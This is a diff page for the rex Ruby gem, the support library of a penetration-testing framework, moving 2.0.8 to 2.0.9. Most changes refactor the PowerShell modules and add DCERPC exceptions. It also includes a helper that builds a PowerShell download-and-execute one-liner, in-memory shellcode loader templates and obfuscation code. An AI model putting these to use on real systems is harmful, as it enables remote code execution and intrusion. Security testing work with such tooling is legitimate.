rex 2.0.8 → 2.0.9

Sign up to get free protection for your applications and to get access to all the features.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -3,7 +3,6 @@
3
3
  require 'rex/text'
4
4
 
5
5
  module Rex
6
- module Exploitation
7
6
  module Powershell
8
7
  module Obfu
9
8
  MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
@@ -95,4 +94,3 @@ module Powershell
95
94
  end # Obfu
96
95
  end
97
96
  end
98
- end
@@ -4,7 +4,6 @@ require 'zlib'
4
4
  require 'rex/text'
5
5
 
6
6
  module Rex
7
- module Exploitation
8
7
  module Powershell
9
8
  module Output
10
9
  #
@@ -53,7 +52,7 @@ module Powershell
53
52
 
54
53
  # Build the powershell expression
55
54
  # Decode base64 encoded command and create a stream object
56
- psh_expression = '$s=New-Object IO.MemoryStream(,'
55
+ psh_expression = "$s=New-Object IO.MemoryStream(,"
57
56
  psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
58
57
  # Read & delete the first two bytes due to incompatibility with MS
59
58
  psh_expression << '$s.ReadByte();'
@@ -76,10 +75,18 @@ module Powershell
76
75
  # Return Base64 encoded powershell code
77
76
  #
78
77
  # @return [String] Base64 encoded powershell code
79
- def encode_code
78
+ def encode_code(eof = nil)
80
79
  @code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
81
80
  end
82
81
 
82
+ #
83
+ # Return ASCII powershell code from base64/unicode
84
+ #
85
+ # @return [String] ASCII powershell code
86
+ def decode_code
87
+ @code = Rex::Text.to_ascii(Rex::Text.decode_base64(code))
88
+ end
89
+
83
90
  #
84
91
  # Return a gzip compressed powershell code wrapped in decoder stub
85
92
  #
@@ -96,7 +103,7 @@ module Powershell
96
103
 
97
104
  # Build the powershell expression
98
105
  # Decode base64 encoded command and create a stream object
99
- psh_expression = '$s=New-Object IO.MemoryStream(,'
106
+ psh_expression = "$s=New-Object IO.MemoryStream(,"
100
107
  psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
101
108
  # Uncompress and invoke the expression (execute)
102
109
  psh_expression << 'IEX (New-Object IO.StreamReader('
@@ -148,4 +155,3 @@ module Powershell
148
155
  end
149
156
  end
150
157
  end
151
- end
@@ -1,7 +1,6 @@
1
1
  # -*- coding: binary -*-
2
2
 
3
3
  module Rex
4
- module Exploitation
5
4
  module Powershell
6
5
  class Param
7
6
  attr_accessor :klass, :name
@@ -20,4 +19,3 @@ module Powershell
20
19
  end
21
20
  end
22
21
  end
23
- end
@@ -0,0 +1,182 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Powershell
5
+ module Parser
6
+ # Reserved special variables
7
+ # Acquired with: Get-Variable | Format-Table name, value -auto
8
+ RESERVED_VARIABLE_NAMES = [
9
+ '$$',
10
+ '$?',
11
+ '$^',
12
+ '$_',
13
+ '$args',
14
+ '$ConfirmPreference',
15
+ '$ConsoleFileName',
16
+ '$DebugPreference',
17
+ '$Env',
18
+ '$Error',
19
+ '$ErrorActionPreference',
20
+ '$ErrorView',
21
+ '$ExecutionContext',
22
+ '$false',
23
+ '$FormatEnumerationLimit',
24
+ '$HOME',
25
+ '$Host',
26
+ '$input',
27
+ '$LASTEXITCODE',
28
+ '$MaximumAliasCount',
29
+ '$MaximumDriveCount',
30
+ '$MaximumErrorCount',
31
+ '$MaximumFunctionCount',
32
+ '$MaximumHistoryCount',
33
+ '$MaximumVariableCount',
34
+ '$MyInvocation',
35
+ '$NestedPromptLevel',
36
+ '$null',
37
+ '$OutputEncoding',
38
+ '$PID',
39
+ '$PROFILE',
40
+ '$ProgressPreference',
41
+ '$PSBoundParameters',
42
+ '$PSCulture',
43
+ '$PSEmailServer',
44
+ '$PSHOME',
45
+ '$PSSessionApplicationName',
46
+ '$PSSessionConfigurationName',
47
+ '$PSSessionOption',
48
+ '$PSUICulture',
49
+ '$PSVersionTable',
50
+ '$PWD',
51
+ '$ReportErrorShowExceptionClass',
52
+ '$ReportErrorShowInnerException',
53
+ '$ReportErrorShowSource',
54
+ '$ReportErrorShowStackTrace',
55
+ '$ShellId',
56
+ '$StackTrace',
57
+ '$true',
58
+ '$VerbosePreference',
59
+ '$WarningPreference',
60
+ '$WhatIfPreference'
61
+ ].map(&:downcase).freeze
62
+
63
+ #
64
+ # Get variable names from code, removes reserved names from return
65
+ #
66
+ # @return [Array] variable names
67
+ def get_var_names
68
+ our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
69
+ our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
70
+ end
71
+
72
+ #
73
+ # Get function names from code
74
+ #
75
+ # @return [Array] function names
76
+ def get_func_names
77
+ code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
78
+ end
79
+
80
+ #
81
+ # Attempt to find string literals in PSH expression
82
+ #
83
+ # @return [Array] string literals
84
+ def get_string_literals
85
+ code.scan(/@"(.+?)"@|@'(.+?)'@/m)
86
+ end
87
+
88
+ #
89
+ # Scan code and return matches with index
90
+ #
91
+ # @param str [String] string to match in code
92
+ # @param source [String] source code to match, defaults to @code
93
+ #
94
+ # @return [Array[String,Integer]] matched items with index
95
+ def scan_with_index(str, source = code)
96
+ ::Enumerator.new do |y|
97
+ source.scan(str) do
98
+ y << ::Regexp.last_match
99
+ end
100
+ end.map { |m| [m.to_s, m.offset(0)[0]] }
101
+ end
102
+
103
+ #
104
+ # Return matching bracket type
105
+ #
106
+ # @param char [String] opening bracket character
107
+ #
108
+ # @return [String] matching closing bracket
109
+ def match_start(char)
110
+ case char
111
+ when '{'
112
+ '}'
113
+ when '('
114
+ ')'
115
+ when '['
116
+ ']'
117
+ when '<'
118
+ '>'
119
+ else
120
+ fail ArgumentError, 'Unknown starting bracket'
121
+ end
122
+ end
123
+
124
+ #
125
+ # Extract block of code inside brackets/parenthesis
126
+ #
127
+ # Attempts to match the bracket at idx, handling nesting manually
128
+ # Once the balanced matching bracket is found, all script content
129
+ # between idx and the index of the matching bracket is returned
130
+ #
131
+ # @param idx [Integer] index of opening bracket
132
+ #
133
+ # @return [String] content between matching brackets
134
+ def block_extract(idx)
135
+ fail ArgumentError unless idx
136
+
137
+ if idx < 0 || idx >= code.length
138
+ fail ArgumentError, 'Invalid index'
139
+ end
140
+
141
+ start = code[idx]
142
+ stop = match_start(start)
143
+ delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
144
+ delims.map { |x| x[1] = x[1] + idx + 1 }
145
+ c = 1
146
+ sidx = nil
147
+ # Go through delims till we balance, get idx
148
+ while (c != 0) && (x = delims.shift)
149
+ sidx = x[1]
150
+ x[0] == stop ? c -= 1 : c += 1
151
+ end
152
+
153
+ code[idx..sidx]
154
+ end
155
+
156
+ #
157
+ # Extract a block of function code
158
+ #
159
+ # @param func_name [String] function name
160
+ # @param delete [Boolean] delete the function from the code
161
+ #
162
+ # @return [String] function block
163
+ def get_func(func_name, delete = false)
164
+ start = code.index(func_name)
165
+
166
+ return nil unless start
167
+
168
+ idx = code[start..-1].index('{') + start
169
+ func_txt = block_extract(idx)
170
+
171
+ if delete
172
+ delete_code = code[0..idx]
173
+ delete_code << code[(idx + func_txt.length)..-1]
174
+ @code = delete_code
175
+ end
176
+
177
+ Function.new(func_name, func_txt)
178
+ end
179
+ end # Parser
180
+ end
181
+ end
182
+
@@ -0,0 +1,78 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/random_identifier_generator'
3
+
4
+ module Rex
5
+ module Powershell
6
+ module Payload
7
+
8
+ def self.read_replace_script_template(template_path, filename, hash_sub)
9
+ template_pathname = File.join(template_path, filename)
10
+ template = ''
11
+ File.open(template_pathname, "rb") {|f| template = f.read}
12
+ template % hash_sub
13
+ end
14
+
15
+ def self.to_win32pe_psh_net(template_path, code)
16
+ rig = Rex::RandomIdentifierGenerator.new()
17
+ rig.init_var(:var_code)
18
+ rig.init_var(:var_kernel32)
19
+ rig.init_var(:var_baseaddr)
20
+ rig.init_var(:var_threadHandle)
21
+ rig.init_var(:var_output)
22
+ rig.init_var(:var_codeProvider)
23
+ rig.init_var(:var_compileParams)
24
+ rig.init_var(:var_syscode)
25
+ rig.init_var(:var_temp)
26
+
27
+ hash_sub = rig.to_h
28
+ hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
29
+
30
+ read_replace_script_template(template_path, "to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
31
+ end
32
+
33
+ def self.to_win32pe_psh(template_path, code)
34
+ hash_sub = {}
35
+ hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
36
+ hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
37
+ hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
38
+ hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
39
+ hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
40
+ hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
41
+ hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
42
+
43
+ hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
44
+
45
+ read_replace_script_template(template_path, "to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
46
+ end
47
+
48
+ #
49
+ # Reflection technique prevents the temporary .cs file being created for the .NET compiler
50
+ # Tweaked by shellster
51
+ # Originally from PowerSploit
52
+ #
53
+ def self.to_win32pe_psh_reflection(template_path, code)
54
+ # Intialize rig and value names
55
+ rig = Rex::RandomIdentifierGenerator.new()
56
+ rig.init_var(:func_get_proc_address)
57
+ rig.init_var(:func_get_delegate_type)
58
+ rig.init_var(:var_code)
59
+ rig.init_var(:var_module)
60
+ rig.init_var(:var_procedure)
61
+ rig.init_var(:var_unsafe_native_methods)
62
+ rig.init_var(:var_parameters)
63
+ rig.init_var(:var_return_type)
64
+ rig.init_var(:var_type_builder)
65
+ rig.init_var(:var_buffer)
66
+ rig.init_var(:var_hthread)
67
+
68
+ hash_sub = rig.to_h
69
+ hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
70
+
71
+ read_replace_script_template(template_path,
72
+ "to_mem_pshreflection.ps1.template",
73
+ hash_sub).gsub(/(?<!\r)\n/, "\r\n")
74
+ end
75
+
76
+ end
77
+ end
78
+ end
@@ -1,7 +1,6 @@
1
1
  # -*- coding: binary -*-
2
2
 
3
3
  module Rex
4
- module Exploitation
5
4
  module Powershell
6
5
  ##
7
6
  # Convenience methods for generating powershell code in Ruby
@@ -73,7 +72,22 @@ module Powershell
73
72
  def self.ignore_ssl_certificate
74
73
  '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
75
74
  end
75
+
76
+ #
77
+ # Use the default system web proxy and credentials to download a URL
78
+ # as a string and execute the contents as PowerShell
79
+ #
80
+ # @param url [String] string to download
81
+ #
82
+ # @return [String] PowerShell code to download a URL
83
+ def self.proxy_aware_download_and_exec_string(url)
84
+ var = Rex::Text.rand_text_alpha(1)
85
+ cmd = "$#{var}=new-object net.webclient;"
86
+ cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
87
+ cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
88
+ cmd << "IEX $#{var}.downloadstring('#{url}');"
89
+ cmd
90
+ end
76
91
  end
77
92
  end
78
93
  end
79
- end
@@ -4,7 +4,6 @@ require 'rex'
4
4
  require 'forwardable'
5
5
 
6
6
  module Rex
7
- module Exploitation
8
7
  module Powershell
9
8
  class Script
10
9
  attr_accessor :code
@@ -19,7 +18,7 @@ module Powershell
19
18
  # eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
20
19
  def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
21
20
  :!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
22
- :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
21
+ :enum_for, :display, :tr_s!, :freeze, :gsub!, :split, :rindex, :<<, :<=>, :+, :lstrip!,
23
22
  :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
24
23
  :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
25
24
  :!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
@@ -38,7 +37,7 @@ module Powershell
38
37
 
39
38
  begin
40
39
  # Open code file for reading
41
- fd = ::File.new(code, 'rb')
40
+ fd = ::File.new(code || '', 'rb')
42
41
  while (line = fd.gets)
43
42
  @code << line
44
43
  end
@@ -96,4 +95,3 @@ module Powershell
96
95
  end # class Script
97
96
  end
98
97
  end
99
- end
@@ -57,7 +57,7 @@ require 'rex/proto/smb/exceptions'
57
57
  case self.handle.protocol
58
58
  when 'ncacn_ip_tcp'
59
59
  if self.socket.type? != 'tcp'
60
- raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!"
60
+ raise ::Rex::Proto::DCERPC::Exceptions::InvalidSocket, "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!"
61
61
  end
62
62
  when 'ncacn_np'
63
63
  if self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe
@@ -65,11 +65,11 @@ require 'rex/proto/smb/exceptions'
65
65
  elsif self.socket.type? == 'tcp'
66
66
  self.smb_connect()
67
67
  else
68
- raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!"
68
+ raise ::Rex::Proto::DCERPC::Exceptions::InvalidSocket, "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!"
69
69
  end
70
70
  # No support ncacn_ip_udp (is it needed now that its ripped from Vista?)
71
71
  else
72
- raise "Unsupported protocol : #{self.handle.protocol}"
72
+ raise ::Rex::Proto::DCERPC::Exceptions::InvalidSocket, "Unsupported protocol : #{self.handle.protocol}"
73
73
  end
74
74
  end
75
75
 
@@ -255,7 +255,7 @@ require 'rex/proto/smb/exceptions'
255
255
  bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid)
256
256
  end
257
257
 
258
- raise 'make_bind failed' if !bind
258
+ raise ::Rex::Proto::DCERPC::Exceptions::BindError, 'make_bind failed' if !bind
259
259
 
260
260
  self.write(bind)
261
261
  raw_response = self.read()
@@ -264,11 +264,11 @@ require 'rex/proto/smb/exceptions'
264
264
  self.last_response = response
265
265
  if response.type == 12 or response.type == 15
266
266
  if self.last_response.ack_result[context] == 2
267
- raise "Could not bind to #{self.handle}"
267
+ raise ::Rex::Proto::DCERPC::Exceptions::BindError, "Could not bind to #{self.handle}"
268
268
  end
269
269
  self.context = context
270
270
  else
271
- raise "Could not bind to #{self.handle}"
271
+ raise ::Rex::Proto::DCERPC::Exceptions::BindError, "Could not bind to #{self.handle}"
272
272
  end
273
273
  end
274
274
 
@@ -132,6 +132,32 @@ class NoResponse < Error
132
132
  end
133
133
  end
134
134
 
135
+ class BindError < Error
136
+ def initialize(message=nil)
137
+ @message = message
138
+ end
139
+
140
+ def to_s
141
+ str = 'Failed to bind.'
142
+ if @message
143
+ str += " #{@message}"
144
+ end
145
+ end
146
+ end
147
+
148
+ class InvalidSocket < Error
149
+ def initialize(message=nil)
150
+ @message = message
151
+ end
152
+
153
+ def to_s
154
+ str = 'Invalid Socket.'
155
+ if @message
156
+ str += " #{@message}"
157
+ end
158
+ end
159
+ end
160
+
135
161
  class InvalidPacket < Error
136
162
  def initialize(message = nil)
137
163
  @message = message